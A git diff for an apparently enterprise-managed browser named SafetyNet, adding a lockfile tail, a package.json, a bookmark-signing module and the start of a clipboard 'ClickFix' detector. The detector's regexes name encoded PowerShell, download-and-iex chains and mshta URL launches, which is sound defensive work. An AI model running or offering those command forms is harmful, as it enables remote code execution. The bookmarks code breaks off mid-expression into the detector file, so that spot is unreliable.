"sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/side-channel": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.1.tgz", + "integrity": "sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.4", + "side-channel-list": "^1.0.1", + "side-channel-map": "^1.0.1", + "side-channel-weakmap": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-list": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz", + "integrity": "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-map": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz", + "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-weakmap": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", + "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3", + "side-channel-map": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/simple-update-notifier": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/simple-update-notifier/-/simple-update-notifier-2.0.0.tgz", + "integrity": "sha512-a2B9Y0KlNXl9u/vsW6sTIu9vGEpfKu2wRV6l1H3XEas/0gUIzGzBoP/IouTcUQbm9JWZLH3COxyn03TYlFax6w==", + "dev": true, + "license": "MIT", + "dependencies": { + "semver": "^7.5.3" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "dev": true, + "license": "MIT", + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/sprintf-js": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.3.tgz", + "integrity": "sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA==", + "dev": true, + "license": "BSD-3-Clause", + "optional": true + }, + "node_modules/stat-mode": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/stat-mode/-/stat-mode-1.0.0.tgz", + "integrity": "sha512-jH9EhtKIjuXZ2cWxmXS8ZP80XyC3iasQxMDV8jzhNJpfDb7VbQLVW4Wvsxz9QZvzV+G4YoSfBUVKDOyxLzi/sg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/statuses": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz", + "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/sumchecker": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/sumchecker/-/sumchecker-3.0.1.tgz", + "integrity": "sha512-MvjXzkz/BOfyVDkG0oFOtBxHX2u3gKbMHIF/dXblZsgD3BWOFLmHovIpZY7BykJdAjcqRCBi1WYBNdEC9yI7vg==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "debug": "^4.1.0" + }, + "engines": { + "node": ">= 8.0" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tar": { + "version": "7.5.22", + "resolved": "https://registry.npmjs.org/tar/-/tar-7.5.22.tgz", + "integrity": "sha512-MFO/QzvtAOmJbkhOaCTvbGcFN9L9b+JunIsDwaKljSOdcLMea3NJ1k9Usz/rjdfSXTq4dfzfeS7W4p4YOAAHeA==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "@isaacs/fs-minipass": "^4.0.0", + "chownr": "^3.0.0", + "minipass": "^7.1.2", + "minizlib": "^3.1.0", + "yallist": "^5.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/tar/node_modules/yallist": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-5.0.0.tgz", + "integrity": "sha512-YgvUTfwqyc7UXVMrB+SImsVYSmTS8X/tSrtdNZMImM+n7+QTriRXyXim0mBrTXNeqzVF0KWGgHPeiyViFFrNDw==", + "dev": true, + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=18" + } + }, + "node_modules/temp": { + "version": "0.9.4", + "resolved": "https://registry.npmjs.org/temp/-/temp-0.9.4.tgz", + "integrity": "sha512-yYrrsWnrXMcdsnu/7YMYAofM1ktpL5By7vZhf15CrXijWWrEYZks5AXBudalfSWJLlnen/QUJUB5aoB0kqZUGA==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "mkdirp": "^0.5.1", + "rimraf": "~2.6.2" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/temp-file": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/temp-file/-/temp-file-3.4.0.tgz", + "integrity": "sha512-C5tjlC/HCtVUOi3KWVokd4vHVViOmGjtLwIh4MuzPo/nMYTV/p1urt3RnMz2IWXDdKEGJH3k5+KPxtqRsUYGtg==", + "dev": true, + "license": "MIT", + "dependencies": { + "async-exit-hook": "^2.0.1", + "fs-extra": "^10.0.0" + } + }, + "node_modules/tiny-async-pool": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/tiny-async-pool/-/tiny-async-pool-1.3.0.tgz", + "integrity": "sha512-01EAw5EDrcVrdgyCLgoSPvqznC0sVxDSVeiOz09FUpjh71G79VCqneOr+xvt7T1r76CF6ZZfPjHorN2+d+3mqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "semver": "^5.5.0" + } + }, + "node_modules/tiny-async-pool/node_modules/semver": { + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/tinyglobby": { + "version": "0.2.17", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz", + "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==", + "dev": true, + "license": "MIT", + "dependencies": { + "fdir": "^6.5.0", + "picomatch": "^4.0.4" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/SuperchupuDev" + } + }, + "node_modules/tmp": { + "version": "0.2.7", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.7.tgz", + "integrity": "sha512-e0votIpp4Uo2AJYSzVHV6xCcawuiez3DzqDAbrTc3YxBkplN6e+dM13ZeIcZnDg/QpSuU2zfZ3rzwY8ukEnaXw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.14" + } + }, + "node_modules/tmp-promise": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/tmp-promise/-/tmp-promise-3.0.3.tgz", + "integrity": "sha512-RwM7MoPojPxsOBYnyd2hy0bxtIlVrihNs9pj5SUvY8Zz1sQcQG2tG1hSr8PDxfgEB8RNKDhqbIlroIarSNDNsQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "tmp": "^0.2.0" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "license": "MIT", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/truncate-utf8-bytes": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/truncate-utf8-bytes/-/truncate-utf8-bytes-1.0.2.tgz", + "integrity": "sha512-95Pu1QXQvruGEhv62XCMO3Mm90GscOCClvrIUwCM0PYOXK3kaF3l3sIHxx71ThJfcbM2O5Au6SO3AWCSEfW4mQ==", + "dev": true, + "license": "WTFPL", + "dependencies": { + "utf8-byte-length": "^1.0.1" + } + }, + "node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "dev": true, + "license": "0BSD" + }, + "node_modules/type-fest": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.13.1.tgz", + "integrity": "sha512-34R7HTnG0XIJcBSn5XhDd7nNFPRcXYRZrBB2O2jdKqYODldSzBAqzsWoZYYvduky73toYS/ESqxPvkDf/F0XMg==", + "dev": true, + "license": "(MIT OR CC0-1.0)", + "optional": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/type-is": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-2.1.0.tgz", + "integrity": "sha512-faYHw0anBbc/kWF3zFTEnxSFOAGUX9GFbOBthvDdLsIlEoWOFOtS0zgCiQYwIskL9iGXZL3kAXD8OoZ4GmMATA==", + "license": "MIT", + "dependencies": { + "content-type": "^2.0.0", + "media-typer": "^1.1.0", + "mime-types": "^3.0.0" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/undici": { + "version": "7.30.0", + "resolved": "https://registry.npmjs.org/undici/-/undici-7.30.0.tgz", + "integrity": "sha512-dkrQXeHSaoamnItlYbmzG0wFYrM0ZwDxCIg0A7aKjTyyhh9svRzCNFEzV+Vm05/yehjCzjDZ31KXfGEjYSztDQ==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=20.18.1" + } + }, + "node_modules/undici-types": { + "version": "7.24.6", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.24.6.tgz", + "integrity": "sha512-WRNW+sJgj5OBN4/0JpHFqtqzhpbnV0GuB+OozA9gCL7a993SmU+1JBZCzLNxYsbMfIeDL+lTsphD5jN5N+n0zg==", + "license": "MIT" + }, + "node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/unzipper": { + "version": "0.12.5", + "resolved": "https://registry.npmjs.org/unzipper/-/unzipper-0.12.5.tgz", + "integrity": "sha512-tXYOi9R57Uj/2Z25SOs5RRSzq886MBQj2gY8dPL+xl/kv6s6SvByoKfAtvfVeEuhntWDgjd2o9p2lb4TVPAz0A==", + "dev": true, + "license": "MIT", + "dependencies": { + "bluebird": "~3.7.2", + "duplexer2": "~0.1.4", + "fs-extra": "11.3.1", + "graceful-fs": "^4.2.2", + "node-int64": "^0.4.0" + } + }, + "node_modules/unzipper/node_modules/fs-extra": { + "version": "11.3.1", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.3.1.tgz", + "integrity": "sha512-eXvGGwZ5CL17ZSwHWd3bbgk7UUpF6IFHtP57NYYakPvHOs8GDgDe5KJI36jIJzDkJ6eJjuzRA8eBQb6SkKue0g==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=14.14" + } + }, + "node_modules/utf8-byte-length": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/utf8-byte-length/-/utf8-byte-length-1.0.5.tgz", + "integrity": "sha512-Xn0w3MtiQ6zoz2vFyUVruaCL53O/DwUvkEeOvj+uulMm0BkUGYWmBYVyElqZaSLhY6ZD0ulfU3aBra2aVT4xfA==", + "dev": true, + "license": "(WTFPL OR MIT)" + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true, + "license": "MIT" + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/webcrypto-core": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/webcrypto-core/-/webcrypto-core-1.9.2.tgz", + "integrity": "sha512-gsXecm82UQNlTBURJGuqOWy1Ww08S3kZUcr3aOJS02Pk0xLtkfeUAVC0u0xhgdonFme80edSJUIJyuvL/7250Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@peculiar/asn1-schema": "^2.7.0", + "@peculiar/json-schema": "^1.1.12", + "@peculiar/utils": "^2.0.2", + "asn1js": "^3.0.10", + "tslib": "^2.8.1" + } + }, + "node_modules/which": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/which/-/which-5.0.0.tgz", + "integrity": "sha512-JEdGzHwwkrbWoGOlIHqQ5gtprKGOenpDHpxE9zVR1bWbOtYRyPPHMe9FaP6x61CmNaTThSkb0DAJte5jD+DmzQ==", + "dev": true, + "license": "ISC", + "dependencies": { + "isexe": "^3.1.1" + }, + "bin": { + "node-which": "bin/which.js" + }, + "engines": { + "node": "^18.17.0 || >=20.5.0" + } + }, + "node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "license": "ISC" + }, + "node_modules/xmlbuilder": { + "version": "15.1.1", + "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-15.1.1.tgz", + "integrity": "sha512-yMqGBqtXyeN1e3TGYvgNgDVZ3j84W4cwkOXQswghol6APgZWaff9lnbvN7MHYJOiXsvGPXtjTYJEiC9J2wv9Eg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.0" + } + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true, + "license": "ISC" + }, + "node_modules/yaml": { + "version": "2.9.1", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.9.1.tgz", + "integrity": "sha512-3NxN8+78OdzbT7C/WjGsyfPAtJaN3FNDsWxv7Y7mcDsT/oOmgW8BpyQQFFBnvZE3j9Y2Sdz1ULFLezL7Eb2yFw==", + "license": "ISC", + "bin": { + "yaml": "bin.mjs" + }, + "engines": { + "node": ">= 14.6" + }, + "funding": { + "url": "https://github.com/sponsors/eemeli" + } + }, + "node_modules/yargs": { + "version": "17.7.3", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.3.tgz", + "integrity": "sha512-GZtjxm/J/4TSxuL3FNYjCmLktBTnIw/rVmKSIyKeYAZpmJB2ig9VauCC5xsa82GNKVKDAqpOn3KVzNt0zmrU0g==", + "license": "MIT", + "dependencies": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/yargs-parser": { + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/zod": { + "version": "4.6.7", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.6.7.tgz", + "integrity": "sha512-g8W2D2kU6a8untc053fX1uVBKzM7yqAxW/3zwk83+6RyF2+SKOuV+c0wBDhUwzV1PaGapmZH+rmcUzPf+3CGwg==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 0000000..0cc9904 --- /dev/null +++ b/package.json @@ -0,0 +1,99 @@ +{ + "name": "safetynet", + "version": "0.1.0", + "private": true, + "description": "Centrally managed Chromium browser and AI data protection foundation", + "main": "apps/browser/main.cjs", + "scripts": { + "init": "node scripts/init.mjs", + "inspector": "node --env-file-if-exists=.env scripts/inspector.mjs", + "server": "node --env-file-if-exists=.env apps/server/index.mjs", + "browser": "node --env-file-if-exists=.env scripts/browser.mjs", + "test": "node --test tests/*.test.mjs", + "check": "node scripts/check.mjs", + "smoke": "node scripts/smoke.mjs", + "package:win": "node scripts/package.mjs win", + "verify:package": "node scripts/verify-package.mjs", + "preview:ui": "node scripts/ui-showcase.cjs", + "runtime:win": "python scripts/provision-windows-runtime.py", + "runtime:semantic": "python scripts/provision-semantic-runtime.py" + }, + "dependencies": { + "@opentelemetry/api": "^1.9.0", + "@opentelemetry/api-logs": "^0.223.0", + "@opentelemetry/exporter-logs-otlp-http": "^0.223.0", + "@opentelemetry/exporter-metrics-otlp-http": "^0.223.0", + "@opentelemetry/exporter-trace-otlp-http": "0.223.0", + "@opentelemetry/resources": "2.12.0", + "@opentelemetry/sdk-logs": "^0.223.0", + "@opentelemetry/sdk-metrics": "^2.12.0", + "@opentelemetry/sdk-node": "0.223.0", + "@opentelemetry/sdk-trace": "2.12.0", + "express": "5.3.0", + "jose": "6.2.12", + "pngjs": "7.0.0", + "zod": "^4.3.6" + }, + "devDependencies": { + "electron": "44.7.0", + "electron-builder": "26.15.3", + "lucide-static": "1.55.0" + }, + "build": { + "appId": "enterprise.safetynet.browser", + "productName": "SafetyNet", + "extraResources": [ + { + "from": "apps/inspector", + "to": "inspector", + "filter": [ + "**/*", + "!**/test*", + "!**/appcontainer_probe.py", + "!**/__pycache__/**" + ] + }, + { + "from": ".runtime/windows/python", + "to": "python", + "filter": [ + "**/*", + "!**/__pycache__/**" + ] + }, + { + "from": ".runtime/windows/semantic", + "to": "semantic", + "filter": [ + "**/*" + ] + } + ], + "files": [ + "apps/browser/**/*", + "packages/core/**/*", + "package.json" + ], + "directories": { + "output": "dist" + }, + "win": { + "target": [ + "nsis" + ], + "icon": "docs/brand/safetynet.ico" + }, + "mac": { + "target": [ + "dmg" + ], + "category": "public.app-category.productivity" + }, + "linux": { + "target": [ + "AppImage" + ], + "category": "Network" + } + } +} diff --git a/packages/core/bookmarks.mjs b/packages/core/bookmarks.mjs new file mode 100644 index 0000000..04d6261 --- /dev/null +++ b/packages/core/bookmarks.mjs @@ -0,0 +1,17 @@ +import { z } from 'zod'; +export const BookmarkSchema=z.object({id:z.string().min(1).max(80).regex(/^[a-zA-Z0-9_-]+$/),title:z.string().trim().min(1).max(120).refine(v=>!/[\u0000-\u001f\u007f]/.test(v)),url:z.string().max(2048).url().refine(v=>{try{const u=new URL(v);return ['https:','http:'].includes(u.protocol)&&!u.username&&!u.password&&!u.search&&!u.hash;}catch{return false;}},'Bookmarks require HTTP(S) without credentials, query or fragment').transform(v=>new URL(v).href).refine(v=>v.length<=2048,'Canonical bookmark URL exceeds limit'),folder:z.string().trim().max(80).refine(v=>!/[\u0000-\u001f\u007f]/.test(v)).default('')}).strict(); +export const BookmarkItemsSchema=z.array(BookmarkSchema).max(100).refine(items=>new Set(items.map(i=>i.id)).size===items.length,'Bookmark IDs must be unique').refine(items=>Buffer.byteLength(JSON.stringify(items))<=250000,'Bookmark collection exceeds byte budget'); +export const PersonalBookmarksSchema=z.object({revision:z.number().int().nonnegative().safe().default(0),items:BookmarkItemsSchema.default([])}).strict().prefault({}); +export const BookmarksSchema=z.object({managed:BookmarkItemsSchema.default([]),allowUserAdd:z.boolean().default(true),allowUserEdit:z.boolean().default(true),allowUserDelete:z.boolean().default(true),adminReadUserBookmarks:z.boolean().default(true),personal:PersonalBookmarksSchema}).strict().prefault({}).superRefine((v,ctx)=>{const ids=new Set(v.managed.map(i=>i.id));if(v.personal.items.some(i=>ids.has(i.id)))ctx.addIssue({code:'custom',message:'Managed and personal bookmark IDs must be distinct'});}); +import { createPrivateKey,createPublicKey,sign,verify } from 'node:crypto'; +export const BookmarkSnapshotSchema=z.object({deviceId:z.string().uuid(),policyVersion:z.number().int().positive(),revision:z.number().int().nonnegative().safe(),expiresAt:z.string().datetime(),items:BookmarkItemsSchema}).strict(); +export function signBookmarkSnapshot(payload,privateKey){payload=BookmarkSnapshotSchema.parse(payload);return {payload,signature:sign(null,Buffer.from('SafetyNet:bookmarks:v1\n'+JSON.stringify(payload)),createPrivateKey(privateKey)).toString('base64')};} +export function verifyBookmarkSnapshot(envelope,publicKey,{deviceId,policyVersion,minimumRevision=0,now=Date.now()}){ + if(!envelope||typeof envelope.signature!=='string'||envelope.signature.length>200||Buffer.byteLength(JSON.stringify(envelope))>300000)throw Error('Invalid bookmark snapshot'); + const payload=BookmarkSnapshotSchema.parse(envelope.payload); + if(JSON.stringify(payload)!==JSON.stringify(envelope.payload)||!verify(null,Buffer.from('SafetyNet:bookmarks:v1\n'+JSON.stringify(payload)),createPublicKey(publicKey),Buffer.from(envelope.signature,'base64')))throw Error('Invalid bookmark signature'); + if(payload.deviceId!==deviceId||payload.policyVersion!==policyVersion||payload.revision({decision:'block',ruleId}); +const allowed=()=>({decision:'allow',ruleId:null}); +const normalize=text=>text.normalize('NFKC').toLowerCase().replace(/[\u200b-\u200f\u202a-\u202e\u2060-\u206f\ufeff]/g,'').replace(/[`^]/g,''); +// Deterministic indicators of remote/obfuscated shell execution, not a command parser or malware proof. +export function detectClickFix(text){ + if(typeof text!=='string'||Buffer.byteLength(text)>1048576||text.includes('\0'))return blocked('clipboard-uninspectable'); + const values=[normalize(text)];try{values.push(normalize(decodeURIComponent(text)));}catch{} + for(const value of values){ + const command=value.replace(/["']/g,''); + if(/\b(?:powershell|pwsh)(?:\.exe)?\b[\s\S]{0,512}?\s-(?:e|ec|en|enc|enco|encod|encode|encoded|encodedc|encodedco|encodedcom|encodedcomm|encodedcomma|encodedcomman|encodedcommand)(?:\s+|:|=)[a-z0-9+/]+={0,2}/.test(command))return blocked('clickfix-encoded-powershell'); + const remote=/https?:\/\//.test(command),download=/\b(?:invoke-webrequest|invoke-restmethod|iwr|irm)\b|\.download(?:string|file)\s*\(/.test(command),execute=/\b(?:invoke-expression|iex)\b/.test(command); + if(remote&&download&&execute)return blocked('clickfix-powershell-remote-execution'); + if(/\bmshta(?:\.exe)?\s+(?:https?:\/\/|(?:vbscript|javascript):)/.test(command))return 